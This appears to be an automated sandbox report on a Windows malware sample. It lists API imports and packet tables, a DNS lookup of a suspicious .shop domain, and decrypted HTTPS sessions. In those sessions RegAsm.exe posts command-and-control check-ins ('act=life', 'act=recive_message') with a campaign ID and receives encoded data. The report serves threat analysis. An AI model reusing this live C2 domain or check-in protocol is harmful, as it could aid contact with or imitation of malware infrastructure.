CreateFileW, HeapSize, GetProcessHeap, SetStdHandle, SetEnvironmentVariableW, VirtualAlloc, WaitForSingleObject, CreateThread, GetThreadId, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, GetCurrentThreadId, CloseHandle, WaitForSingleObjectEx, GetExitCodeThread, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, ReleaseSRWLockExclusive, WakeAllConditionVariable, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetCPInfo, IsProcessorFeaturePresent, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, TerminateProcess, FreeEnvironmentStringsW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitThread, FreeLibraryAndExitThread, GetModuleHandleExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, WriteConsoleW

Exports

Name	Ordinal	Address
AwakeSound	1	0x429c70

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 21:48:55.299067974 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.299104929 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:55.299173117 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.302306890 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.302316904 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:55.806049109 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:55.806117058 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.814004898 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.814013958 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:55.814394951 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:55.867760897 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.875117064 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.875138044 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:55.875258923 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:56.541209936 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:56.541322947 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:56.541368961 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:56.543469906 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:56.543487072 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:56.543524027 CEST	49730	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:56.543529987 CEST	443	49730	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:56.546849966 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:56.546870947 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:56.546936035 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:56.547553062 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:56.547561884 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.029202938 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.029278994 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.030998945 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.031006098 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.031254053 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.032401085 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.032421112 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.032469988 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527528048 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527587891 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527618885 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527653933 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527719021 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.527740002 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527749062 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.527920961 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527961969 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.527970076 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.527981997 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.528021097 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.528023005 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.528037071 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.528084993 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.528090954 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532202959 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532255888 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.532258034 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532272100 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532313108 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.532485962 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532563925 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532596111 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532605886 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.532620907 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532685041 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.532686949 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532737017 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.532849073 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.532862902 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.532876015 CEST	49732	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.532881975 CEST	443	49732	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.573395967 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.573427916 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:57.573517084 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.573837042 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:57.573844910 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.049772978 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.049868107 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.051124096 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.051130056 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.051347971 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.058393955 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.058549881 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.058572054 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.058634996 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.058643103 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.550507069 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.550601959 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.550774097 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.550925016 CEST	49734	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.550940037 CEST	443	49734	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.571229935 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.571269989 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:58.571412086 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.571758986 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:58.571767092 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.042278051 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.042372942 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.043816090 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.043822050 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.044049025 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.045274973 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.045408010 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.045427084 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.505090952 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.505194902 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.505314112 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.505625010 CEST	49737	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.505640030 CEST	443	49737	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.595763922 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.595804930 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:48:59.595901012 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.596349001 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:48:59.596362114 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.076571941 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.076641083 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.077991962 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.078006983 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.078244925 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.086294889 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.086467981 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.086504936 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.086569071 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.086581945 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.622426987 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.622517109 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.622586012 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.622673035 CEST	49739	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.622684956 CEST	443	49739	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.720819950 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.720849037 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:00.721019030 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.721307039 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:00.721316099 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.202503920 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.202636003 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.204106092 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.204113007 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.204360008 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.214482069 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.214601040 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.214637041 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.593481064 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.593574047 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.593628883 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.593806028 CEST	49741	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.593817949 CEST	443	49741	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.819303036 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.819343090 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:01.819403887 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.819725990 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:01.819737911 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:02.312637091 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:02.312818050 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:02.313865900 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:02.313873053 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:02.314101934 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:02.315193892 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:02.315284014 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:02.315290928 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:03.467730045 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:03.467855930 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:03.467910051 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:03.468022108 CEST	49743	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:03.468036890 CEST	443	49743	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:03.809130907 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:03.809170008 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:03.809250116 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:03.809614897 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:03.809632063 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.295015097 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.295101881 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.296324015 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.296334028 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.296641111 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.297826052 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.298618078 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.298654079 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.298754930 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.298815012 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.298943043 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.298978090 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.299125910 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.299154043 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.299309015 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.299344063 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.299541950 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.299571037 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.299585104 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.299603939 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.299752951 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.299781084 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.299806118 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.299951077 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.299981117 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.308917999 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.309132099 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.309161901 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.309190989 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.309206009 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:04.309247971 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:04.313684940 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.046963930 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.047055960 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.047120094 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.047276974 CEST	49746	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.047292948 CEST	443	49746	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.049734116 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.049777985 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.049864054 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.050462961 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.050473928 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.530997038 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.531086922 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.532799959 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.532810926 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.533041954 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.534487963 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.534513950 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.534554005 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.956258059 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.956358910 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.956422091 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.956666946 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.956681967 CEST	443	49749	104.21.27.50	192.168.2.4
Jul 4, 2024 21:49:07.956712961 CEST	49749	443	192.168.2.4	104.21.27.50
Jul 4, 2024 21:49:07.956717014 CEST	443	49749	104.21.27.50	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 21:48:55.279320002 CEST	52454	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:48:55.295074940 CEST	53	52454	1.1.1.1	192.168.2.4
Jul 4, 2024 21:49:27.735131979 CEST	53	50150	162.159.36.2	192.168.2.4
Jul 4, 2024 21:49:28.220741034 CEST	53747	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:49:28.230101109 CEST	53	53747	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 4, 2024 21:48:55.279320002 CEST	192.168.2.4	1.1.1.1	0xb772	Standard query (0)	bitchsafettyudjwu.shop	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:49:28.220741034 CEST	192.168.2.4	1.1.1.1	0x8538	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 4, 2024 21:48:55.295074940 CEST	1.1.1.1	192.168.2.4	0xb772	No error (0)	bitchsafettyudjwu.shop		104.21.27.50	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:48:55.295074940 CEST	1.1.1.1	192.168.2.4	0xb772	No error (0)	bitchsafettyudjwu.shop		172.67.168.236	A (IP address)	IN (0x0001)	false
Jul 4, 2024 21:49:28.230101109 CEST	1.1.1.1	192.168.2.4	0x8538	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

bitchsafettyudjwu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:48:55 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bitchsafettyudjwu.shop
2024-07-04 19:48:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-07-04 19:48:56 UTC	810	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:48:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvt94tcqmb1e22gpashk8pshhf; expires=Mon, 28-Oct-2024 13:35:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AZCbsIHmkP%2BZSEhilJ8J16HyKdLsyOFpZdcsqVMAZNFspqDdh7oByJBz3lucAn%2BlIChPnyB4RjQqx4%2BThBbi%2FHLV29dg4Tajjcm2D9NsmeSv3BBUMvsiLj1298kl%2BGmdThKlcH9%2FjIum"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2b98c0119ae-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:48:56 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-07-04 19:48:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:48:57 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: bitchsafettyudjwu.shop
2024-07-04 19:48:57 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 41 4c 55 56 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--@SEFYALUV&j=
2024-07-04 19:48:57 UTC	812	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:48:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hus5kijk2q87hohbd3g3u337g9; expires=Mon, 28-Oct-2024 13:35:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2FxmnA0R9HZPwVIo%2FBU%2FwFqmyVmeLnPTcML8WQl%2BQjr6WaJf0lwuwuGM5Q41JCn3zWN4PV6FWIH6VaqZ3pDPFOKJ1ya7itmQyqk9qRZTU1C2B9p5%2B9U4Tw%2FuisKiGfunHFf5ys1%2B1kO1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2c0e9ae0cc2-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:48:57 UTC	557	IN	Data Raw: 31 66 32 31 0d 0a 57 59 54 6f 50 67 72 45 38 63 4b 74 58 55 6f 63 4a 62 79 62 6b 38 35 72 6e 46 33 50 66 4a 55 31 65 49 30 6a 35 51 49 4f 30 5a 38 69 6a 75 45 63 66 4f 62 4c 34 70 6c 78 51 42 55 48 7a 2f 36 78 39 45 76 6f 4c 37 6f 5a 75 54 39 78 72 30 4b 42 49 44 54 78 2b 54 6a 6f 6d 31 73 6d 7a 76 6a 67 79 43 56 6f 4a 67 58 6e 6b 5a 72 48 45 4c 78 2f 71 68 4b 33 44 31 69 76 52 6f 39 67 62 37 33 39 4f 4f 2b 48 54 6d 61 6e 6d 61 37 4b 4e 53 39 2f 51 64 33 33 2f 71 73 4f 2b 54 79 6c 45 76 78 59 45 4f 41 42 79 53 49 73 74 4f 56 37 76 73 67 63 52 36 47 46 6f 2b 41 38 4f 58 63 48 6e 4f 61 2f 78 47 4b 56 4a 75 39 65 38 46 74 61 74 77 50 48 59 32 75 7a 38 7a 2f 67 67 31 5a 69 72 4a 57 68 79 54 63 36 64 55 50 55 38 2f 47 71 41 76 4d 33 76 78 44 7a 58 78 62 75 54 Data Ascii: 1f21WYToPgrE8cKtXUocJbybk85rnF3PfJU1eI0j5QIO0Z8ijuEcfObL4plxQBUHz/6x9EvoL7oZuT9xr0KBIDTx+Tjom1smzvjgyCVoJgXnkZrHELx/qhK3D1ivRo9gb739OO+HTmanma7KNS9/Qd33/qsO+TylEvxYEOABySIstOV7vsgcR6GFo+A8OXcHnOa/xGKVJu9e8FtatwPHY2uz8z/gg1ZirJWhyTc6dUPU8/GqAvM3vxDzXxbuT
